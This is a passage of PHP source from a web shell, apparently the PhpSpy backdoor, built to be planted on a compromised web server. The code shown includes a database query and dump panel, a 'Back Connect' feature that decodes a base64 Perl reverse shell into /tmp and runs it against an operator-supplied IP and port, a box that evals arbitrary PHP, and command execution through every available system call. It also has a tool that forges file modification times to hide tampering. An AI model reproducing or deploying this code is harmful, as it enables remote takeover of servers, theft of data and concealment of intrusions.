				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');

			}

			p('</p>');

			mysql_select_db($dbname);



			$getnumsql = '';

			$runquery = 0;

			if ($sql_query) {

				$runquery = 1;

			}

			$allowedit = 0;

			if ($tablename && !$sql_query) {

				$sql_query = "SELECT * FROM $tablename";

				$getnumsql = $sql_query;

				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";

				$allowedit = 1;

			}

			p('<form action="'.$self.'" method="POST">');

			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');

			makehide('tablename', $tablename);

			makehide('action','sqladmin');

			p($dbform);

			p('</form>');

			if ($tablename || ($runquery && $sql_query)) {

				if ($doing == 'structure') {

					$result = q("SHOW COLUMNS FROM $tablename");

					$rowdb = array();

					while($row = mysql_fetch_array($result)) {

						$rowdb[] = $row;

					}

					p('<table border="0" cellpadding="3" cellspacing="0">');

					p('<tr class="head">');

					p('<td>Field</td>');

					p('<td>Type</td>');

					p('<td>Null</td>');

					p('<td>Key</td>');

					p('<td>Default</td>');

					p('<td>Extra</td>');

					p('</tr>');

					foreach ($rowdb as $row) {

						$thisbg = bg();

						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

						p('<td>'.$row['Field'].'</td>');

						p('<td>'.$row['Type'].'</td>');

						p('<td>'.$row['Null'].'&nbsp;</td>');

						p('<td>'.$row['Key'].'&nbsp;</td>');

						p('<td>'.$row['Default'].'&nbsp;</td>');

						p('<td>'.$row['Extra'].'&nbsp;</td>');

						p('</tr>');

					}

					tbfoot();

				} elseif ($doing == 'insert' || $doing == 'edit') {

					$result = q('SHOW COLUMNS FROM '.$tablename);

					while ($row = mysql_fetch_array($result)) {

						$rowdb[] = $row;

					}

					$rs = array();

					if ($doing == 'insert') {

						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');

					} else {

						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');

						$where = base64_decode($base64);

						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");

						$rs = mysql_fetch_array($result);

					}

					p('<form method="post" action="'.$self.'">');

					p($dbform);

					makehide('action','sqladmin');

					makehide('tablename',$tablename);

					p('<table border="0" cellpadding="3" cellspacing="0">');

					foreach ($rowdb as $row) {

						if ($rs[$row['Field']]) {

							$value = htmlspecialchars($rs[$row['Field']]);

						} else {

							$value = '';

						}

						$thisbg = bg();

						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');

					}

					if ($doing == 'insert') {

						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');

					} else {

						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');

						makehide('base64', $base64);

					}

					p('</table></form>');

				} else {

					$querys = @explode(';',$sql_query);

					foreach($querys as $num=>$query) {

						if ($query) {

							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");

							switch(qy($query))

							{

								case 0:

									p('<h2>Error : '.mysql_error().'</h2>');

									break;	

								case 1:

									if (strtolower(substr($query,0,13)) == 'select * from') {

										$allowedit = 1;

									}

									if ($getnumsql) {

										$tatol = mysql_num_rows(q($getnumsql));

										$multipage = multi($tatol, $pagenum, $page, $tablename);

									}

									if (!$tablename) {

										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));

										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);

										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);

										$tablename = $matches[1][0];

									}

									$result = q($query);

									p($multipage);

									p('<table border="0" cellpadding="3" cellspacing="0">');

									p('<tr class="head">');

									if ($allowedit) p('<td>Action</td>');

									$fieldnum = @mysql_num_fields($result);

									for($i=0;$i<$fieldnum;$i++){

										$name = @mysql_field_name($result, $i);

										$type = @mysql_field_type($result, $i);

										$len = @mysql_field_len($result, $i);

										p("<td nowrap>$name<br><span>$type($len)</span></td>");

									}

									p('</tr>');

									while($mn = @mysql_fetch_assoc($result)){

										$thisbg = bg();

										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

										$where = $tmp = $b1 = '';

										foreach($mn as $key=>$inside){

											if ($inside) {

												$where .= $tmp.$key."='".addslashes($inside)."'";

												$tmp = ' AND ';

											}

											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';

										}

										$where = base64_encode($where);

										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');

										p($b1);

										p('</tr>');

										unset($b1);

									}

									tbfoot();

									p($multipage);

									break;	

								case 2:

									$ar = mysql_affected_rows();

									p('<h2>affected rows : <b>'.$ar.'</b></h2>');

									break;

							}

						}

					}

				}

			} else {

				$query = q("SHOW TABLE STATUS");

				$table_num = $table_rows = $data_size = 0;

				$tabledb = array();

				while($table = mysql_fetch_array($query)) {

					$data_size = $data_size + $table['Data_length'];

					$table_rows = $table_rows + $table['Rows'];

					$table['Data_length'] = sizecount($table['Data_length']);

					$table_num++;

					$tabledb[] = $table;

				}

				$data_size = sizecount($data_size);

				unset($table);

				p('<table border="0" cellpadding="0" cellspacing="0">');

				p('<form action="'.$self.'" method="POST">');

				makehide('action','sqladmin');

				p($dbform);

				p('<tr class="head">');

				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');

				p('<td>Name</td>');

				p('<td>Rows</td>');

				p('<td>Data_length</td>');

				p('<td>Create_time</td>');

				p('<td>Update_time</td>');

				if ($highver) {

					p('<td>Engine</td>');

					p('<td>Collation</td>');

				}

				p('</tr>');

				foreach ($tabledb as $key => $table) {

					$thisbg = bg();

					p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');

					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');

					p('<td>'.$table['Rows'].'</td>');

					p('<td>'.$table['Data_length'].'</td>');

					p('<td>'.$table['Create_time'].'</td>');

					p('<td>'.$table['Update_time'].'</td>');

					if ($highver) {

						p('<td>'.$table['Engine'].'</td>');

						p('<td>'.$table['Collation'].'</td>');

					}

					p('</tr>');

				}

				p('<tr class='.bg().'>');

				p('<td>&nbsp;</td>');

				p('<td>Total tables: '.$table_num.'</td>');

				p('<td>'.$table_rows.'</td>');

				p('<td>'.$data_size.'</td>');

				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');

				p('</tr>');



				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");

				makehide('doing','backupmysql');

				formfoot();

				p("</table>");

				fr($query);

			}

		}

	}

	tbfoot();

	@mysql_close();

}//end sql backup





elseif ($action == 'backconnect') {

	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];

	!$yourport && $yourport = '12345';

	$usedb = array('perl'=>'perl','c'=>'c');



	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";





	if ($start && $yourip && $yourport && $use){

		if ($use == 'perl') {

			cf('/tmp/angel_bc',$back_connect);

			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");

		} else {

			cf('/tmp/angel_bc.c',$back_connect_c);

			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');

			@unlink('/tmp/angel_bc.c');

			$res = execute("/tmp/angel_bc $yourip $yourport &");

		}

		m("Now script try connect to $yourip port $yourport ...");

	}



	formhead(array('title'=>'Back Connect'));

	makehide('action','backconnect');

	p('<p>');

	p('Your IP:');

	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));

	p('Your Port:');

	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));

	p('Use:');

	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));

	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));

	p('</p>');

	formfoot();

}//end sql backup



elseif ($action == 'eval') {

	$phpcode = trim($phpcode);

	if($phpcode){

		if (!preg_match('#<\?#si', $phpcode)) {

			$phpcode = "<?php\n\n{$phpcode}\n\n?>";

		}

		eval("?".">$phpcode<?");

	}

	formhead(array('title'=>'Eval PHP Code'));

	makehide('action','eval');

	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));

	p('<p><a href="http://www.4ngel.net.tr/phpspy/plugin/" target="_blank">Get plugins</a></p>');

	formfooter();

}//end eval



elseif ($action == 'editfile') {

	if(file_exists($opfile)) {

		$fp=@fopen($opfile,'r');

		$contents=@fread($fp, filesize($opfile));

		@fclose($fp);

		$contents=htmlspecialchars($contents);

	}

	formhead(array('title'=>'Create / Edit File'));

	makehide('action','file');

	makehide('dir',$nowpath);

	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));

	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));

	formfooter();

}//end editfile



elseif ($action == 'newtime') {

	$opfilemtime = @filemtime($opfile);

	//$time = strtotime("$year-$month-$day $hour:$minute:$second");

	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);

	formhead(array('title'=>'Clone file was last modified time'));

	makehide('action','file');

	makehide('dir',$nowpath);

	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));

	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));

	formfooter();

	formhead(array('title'=>'Set last modified'));

	makehide('action','file');

	makehide('dir',$nowpath);

	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));

	p('<p>Instead &raquo;');

	p('year:');

	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));

	p('month:');

	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));

	p('day:');

	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));

	p('hour:');

	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));

	p('minute:');

	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));

	p('second:');

	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));

	p('</p>');

	formfooter();

}//end newtime



elseif ($action == 'shell') {

	if (IS_WIN && IS_COM) {

		if($program && $parameter) {

			$shell= new COM('Shell.Application');

			$a = $shell->ShellExecute($program,$parameter);

			m('Program run has '.(!$a ? 'success' : 'fail'));

		}

		!$program && $program = 'c:\windows\system32\cmd.exe';

		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';

		formhead(array('title'=>'Execute Program'));

		makehide('action','shell');

		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));

		p('<p>');

		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));

		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));

		p('</p>');

		formfoot();

	}

	formhead(array('title'=>'Execute Command'));

	makehide('action','shell');

	if (IS_WIN && IS_COM) {

		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');

		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));

	}

	p('<p>');

	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));

	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));

	p('</p>');

	formfoot();



	if ($command) {

		p('<hr width="100%" noshade /><pre>');

		if ($execfunc=='wscript' && IS_WIN && IS_COM) {

			$wsh = new COM('WScript.shell');

			$exec = $wsh->exec('cmd.exe /c '.$command);

			$stdout = $exec->StdOut();

			$stroutput = $stdout->ReadAll();

			echo $stroutput;

		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {

			$descriptorspec = array(

			   0 => array('pipe', 'r'),

			   1 => array('pipe', 'w'),

			   2 => array('pipe', 'w')

			);

			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);

			if (is_resource($process)) {

				fwrite($pipes[0], $command."\r\n");

				fwrite($pipes[0], "exit\r\n");

				fclose($pipes[0]);

				while (!feof($pipes[1])) {

					echo fgets($pipes[1], 1024);

				}

				fclose($pipes[1]);

				while (!feof($pipes[2])) {

					echo fgets($pipes[2], 1024);

				}

				fclose($pipes[2]);

				proc_close($process);

			}

		} else {

			echo(execute($command));

		}

		p('</pre>');

	}

}//end shell



elseif ($action == 'phpenv') {

	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';

	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');

	!$dis_func && $dis_func = 'No';	

	$info = array(

		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),

		2 => array('Server Domain',$_SERVER['SERVER_NAME']),

		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),

		4 => array('Server OS',PHP_OS),

		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),

		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),

		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),

		8 => array('PHP run mode',strtoupper(php_sapi_name())),

		9 => array('The file path',__FILE__),



		10 => array('PHP Version',PHP_VERSION),

		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),

		12 => array('Safe Mode',getcfg('safe_mode')),

		13 => array('Administrator',$adminmail),

		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),

		15 => array('enable_dl',getcfg('enable_dl')),

		16 => array('display_errors',getcfg('display_errors')),

		17 => array('register_globals',getcfg('register_globals')),

		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),

		19 => array('memory_limit',getcfg('memory_limit')),

		20 => array('post_max_size',getcfg('post_max_size')),

		21 => array('upload_max_filesize',$upsize),

		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),

		23 => array('disable_functions',$dis_func),

	);



	if($phpvarname) {

		m($phpvarname .' : '.getcfg($phpvarname));

	}



	formhead(array('title'=>'Server environment'));

	makehide('action','phpenv');

	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));

	formfooter();



	$hp = array(0=> 'Server', 1=> 'PHP');

	for($a=0;$a<2;$a++) {

		p('<h2>'.$hp[$a].' &raquo;</h2>');

		p('<ul class="info">');

		if ($a==0) {

			for($i=1;$i<=9;$i++) {

				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');

			}

		} elseif ($a == 1) {

			for($i=10;$i<=23;$i++) {

				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');

			}

		}

		p('</ul>');

	}

}//end phpenv



else {

	m('Undefined Action');

}



?>

</td></tr></table>

<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">

	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>

	Copyright (C) 2004-2008 

</div>

</body>

</html>



<?php



/*======================================================

???

======================================================*/



function m($msg) {

	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';

	echo $msg;

	echo '</div>';

}

function scookie($key, $value, $life = 0, $prefix = 1) {

	global $admin, $timestamp, $_SERVER;

	$key = ($prefix ? $admin['cookiepre'] : '').$key;

	$life = $life ? $life : $admin['cookielife'];

	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;

	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);

}	

function multi($num, $perpage, $curpage, $tablename) {

	$multipage = '';

	if($num > $perpage) {

		$page = 10;

		$offset = 5;

		$pages = @ceil($num / $perpage);

		if($page > $pages) {

			$from = 1;

			$to = $pages;

		} else {

			$from = $curpage - $offset;

			$to = $curpage + $page - $offset - 1;

			if($from < 1) {

				$to = $curpage + 1 - $from;

				$from = 1;

				if(($to - $from) < $page && ($to - $from) < $pages) {

					$to = $page;

				}

			} elseif($to > $pages) {

				$from = $curpage - $pages + $to;

				$to = $pages;

				if(($to - $from) < $page && ($to - $from) < $pages) {

					$from = $pages - $page + 1;

				}

			}

		}

		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');

		for($i = $from; $i <= $to; $i++) {

			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';

		}

		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');

		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';

	}

	return $multipage;

}

// ????

function loginpage() {

?>

	<style type="text/css">

	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}

	</style>

	<form method="POST" action="">

	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">

	<input type="hidden" name="doing" value="login">

	<input type="submit" value="Login">

	</form>

<?php

	exit;

}//end loginpage()



function execute($cfe) {

	$res = '';

	if ($cfe) {

		if(function_exists('exec')) {

			@exec($cfe,$res);

			$res = join("\n",$res);

		} elseif(function_exists('shell_exec')) {

			$res = @shell_exec($cfe);

		} elseif(function_exists('system')) {

			@ob_start();

			@system($cfe);

			$res = @ob_get_contents();

			@ob_end_clean();

		} elseif(function_exists('passthru')) {

			@ob_start();

			@passthru($cfe);

			$res = @ob_get_contents();

			@ob_end_clean();

		} elseif(@is_resource($f = @popen($cfe,"r"))) {

			$res = '';

			while(!@feof($f)) {

				$res .= @fread($f,1024); 

			}

			@pclose($f);

		}

	}

	return $res;

}

function which($pr) {

	$path = execute("which $pr");

	return ($path ? $path : $pr); 

}



function cf($fname,$text){

	if($fp=@fopen($fname,'w')) {

		@fputs($fp,base64_decode($text));

		@fclose($fp);

	}

}



// ??????

function debuginfo() {

	global $starttime;

	$mtime = explode(' ', microtime());

	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);

	echo 'Processed in '.$totaltime.' second(s)';

}



//?????

function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {

	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {

		p('<h2>Can not connect to MySQL server</h2>');

		exit;

	}

	if($link && $dbname) {

		if (!@mysql_select_db($dbname, $link)) {

			p('<h2>Database selected has error</h2>');

			exit;

		}

	}

	if($link && mysql_get_server_info() > '4.1') {

		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {

			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);

		}

	}

	return $link;

}



// ??????

function s_array(&$array) {

	if (is_array($array)) {

		foreach ($array as $k => $v) {

			$array[$k] = s_array($v);

		}

	} else if (is_string($array)) {

		$array = stripslashes($array);

	}

	return $array;

}



// ??HTML??

function html_clean($content) {

	$content = htmlspecialchars($content);

	$content = str_replace("\n", "<br />", $content);

	$content = str_replace("  ", "&nbsp;&nbsp;", $content);

	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);

	return $content;

}



// ????

function getChmod($filepath){

	return substr(base_convert(@fileperms($filepath),10,8),-4);

}



function getPerms($filepath) {

	$mode = @fileperms($filepath);

	if (($mode & 0xC000) === 0xC000) {$type = 's';}

	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}

	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}

	elseif (($mode & 0x8000) === 0x8000) {$type = '-';} 

	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}

	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}

	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}

	else {$type = '?';}



	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 

	$owner['write'] = ($mode & 00200) ? 'w' : '-'; 

	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 

	$group['read'] = ($mode & 00040) ? 'r' : '-'; 

	$group['write'] = ($mode & 00020) ? 'w' : '-'; 

	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 

	$world['read'] = ($mode & 00004) ? 'r' : '-'; 

	$world['write'] = ($mode & 00002) ? 'w' : '-'; 

	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 



	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}

	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}

	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}

 

	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];

}



function getUser($filepath)	{

	if (function_exists('posix_getpwuid')) {

		$array = @posix_getpwuid(@fileowner($filepath));

		if ($array && is_array($array)) {

			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';

		}

	}

	return '';

}



// ????

function deltree($deldir) {

	$mydir=@dir($deldir);	

	while($file=$mydir->read())	{ 		

		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { 

			@chmod($deldir.'/'.$file,0777);

			deltree($deldir.'/'.$file); 

		}

		if (is_file($deldir.'/'.$file)) {

			@chmod($deldir.'/'.$file,0777);

			@unlink($deldir.'/'.$file);

		}

	} 

	$mydir->close(); 

	@chmod($deldir,0777);

	return @rmdir($deldir) ? 1 : 0;

}



// ??????????

function bg() {

	global $bgc;

	return ($bgc++%2==0) ? 'alt1' : 'alt2';

}



// ???????????

function getPath($scriptpath, $nowpath) {

	if ($nowpath == '.') {

		$nowpath = $scriptpath;

	}

	$nowpath = str_replace('\\', '/', $nowpath);

	$nowpath = str_replace('//', '/', $nowpath);

	if (substr($nowpath, -1) != '/') {

		$nowpath = $nowpath.'/';

	}

	return $nowpath;

}



// ???????????

function getUpPath($nowpath) {

	$pathdb = explode('/', $nowpath);

	$num = count($pathdb);

	if ($num > 2) {

		unset($pathdb[$num-1],$pathdb[$num-2]);

	}

	$uppath = implode('/', $pathdb).'/';

	$uppath = str_replace('//', '/', $uppath);

	return $uppath;

}



// ??PHP????

function getcfg($varname) {

	$result = get_cfg_var($varname);

	if ($result == 0) {

		return 'No';

	} elseif ($result == 1) {

		return 'Yes';

	} else {

		return $result;

	}

}



// ??????

function getfun($funName) {

	return (false !== function_exists($funName)) ? 'Yes' : 'No';

}



function GetList($dir){

	global $dirdata,$j,$nowpath;

	!$j && $j=1;

	if ($dh = opendir($dir)) {

		while ($file = readdir($dh)) {

			$f=str_replace('//','/',$dir.'/'.$file);

			if($file!='.' && $file!='..' && is_dir($f)){

				if (is_writable($f)) {

					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);

					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));

					$dirdata[$j]['dirchmod']=getChmod($f);

					$dirdata[$j]['dirperm']=getPerms($f);

					$dirdata[$j]['dirlink']=ue($dir);

					$dirdata[$j]['server_link']=$f;

					$dirdata[$j]['client_link']=ue($f);

					$j++;

				}

				GetList($f);

			}

		}

		closedir($dh);

		clearstatcache();

		return $dirdata;

	} else {

		return array();

	}

}



function qy($sql) { 

	//echo $sql.'<br>';

	$res = $error = '';

	if(!$res = @mysql_query($sql)) { 

		return 0;

	} else if(is_resource($res)) {

		return 1; 

	} else {

		return 2;

	}	

	return 0;

}



function q($sql) { 

	return @mysql_query($sql);

}



function fr($qy){

	mysql_free_result($qy);

}



function sizecount($size) {

	if($size > 1073741824) {

		$size = round($size / 1073741824 * 100) / 100 . ' G';

	} elseif($size > 1048576) {

		$size = round($size / 1048576 * 100) / 100 . ' M';

	} elseif($size > 1024) {

		$size = round($size / 1024 * 100) / 100 . ' K';

	} else {

		$size = $size . ' B';

	}

	return $size;

}



// ?????

class PHPZip{

	var $out='';

	function PHPZip($dir)	{

		if (@function_exists('gzcompress'))	{

			$curdir = getcwd();

			if (is_array($dir)) $filelist = $dir;

			else{

				$filelist=$this -> GetFileList($dir);//????

				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);

			}

			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);

			else chdir($curdir);

			if (count($filelist)>0){

				foreach($filelist as $filename){

					if (is_file($filename)){

						$fd = fopen ($filename, 'r');

						$content = @fread ($fd, filesize($filename));

						fclose ($fd);

						if (is_array($dir)) $filename = basename($filename);

						$this -> addFile($content, $filename);

					}

				}

				$this->out = $this -> file();

				chdir($curdir);

			}

			return 1;

		}

		else return 0;

	}



	// ??????????

	function GetFileList($dir){

		static $a;

		if (is_dir($dir)) {

			if ($dh = opendir($dir)) {

				while ($file = readdir($dh)) {

					if($file!='.' && $file!='..'){

						$f=$dir .'/'. $file;

						if(is_dir($f)) $this->GetFileList($f);

						$a[]=$f;

					}

				}

				closedir($dh);

			}

		}

		return $a;

	}



	var $datasec      = array();

	var $ctrl_dir     = array();

	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";

	var $old_offset   = 0;



	function unix2DosTime($unixtime = 0) {

		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);

		if ($timearray['year'] < 1980) {

			$timearray['year']    = 1980;

			$timearray['mon']     = 1;

			$timearray['mday']    = 1;

			$timearray['hours']   = 0;

			$timearray['minutes'] = 0;

			$timearray['seconds'] = 0;

		} // end if

		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |

				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);

	}



	function addFile($data, $name, $time = 0) {

		$name = str_replace('\\', '/', $name);



		$dtime = dechex($this->unix2DosTime($time));

		$hexdtime	= '\x' . $dtime[6] . $dtime[7]

					. '\x' . $dtime[4] . $dtime[5]

					. '\x' . $dtime[2] . $dtime[3]

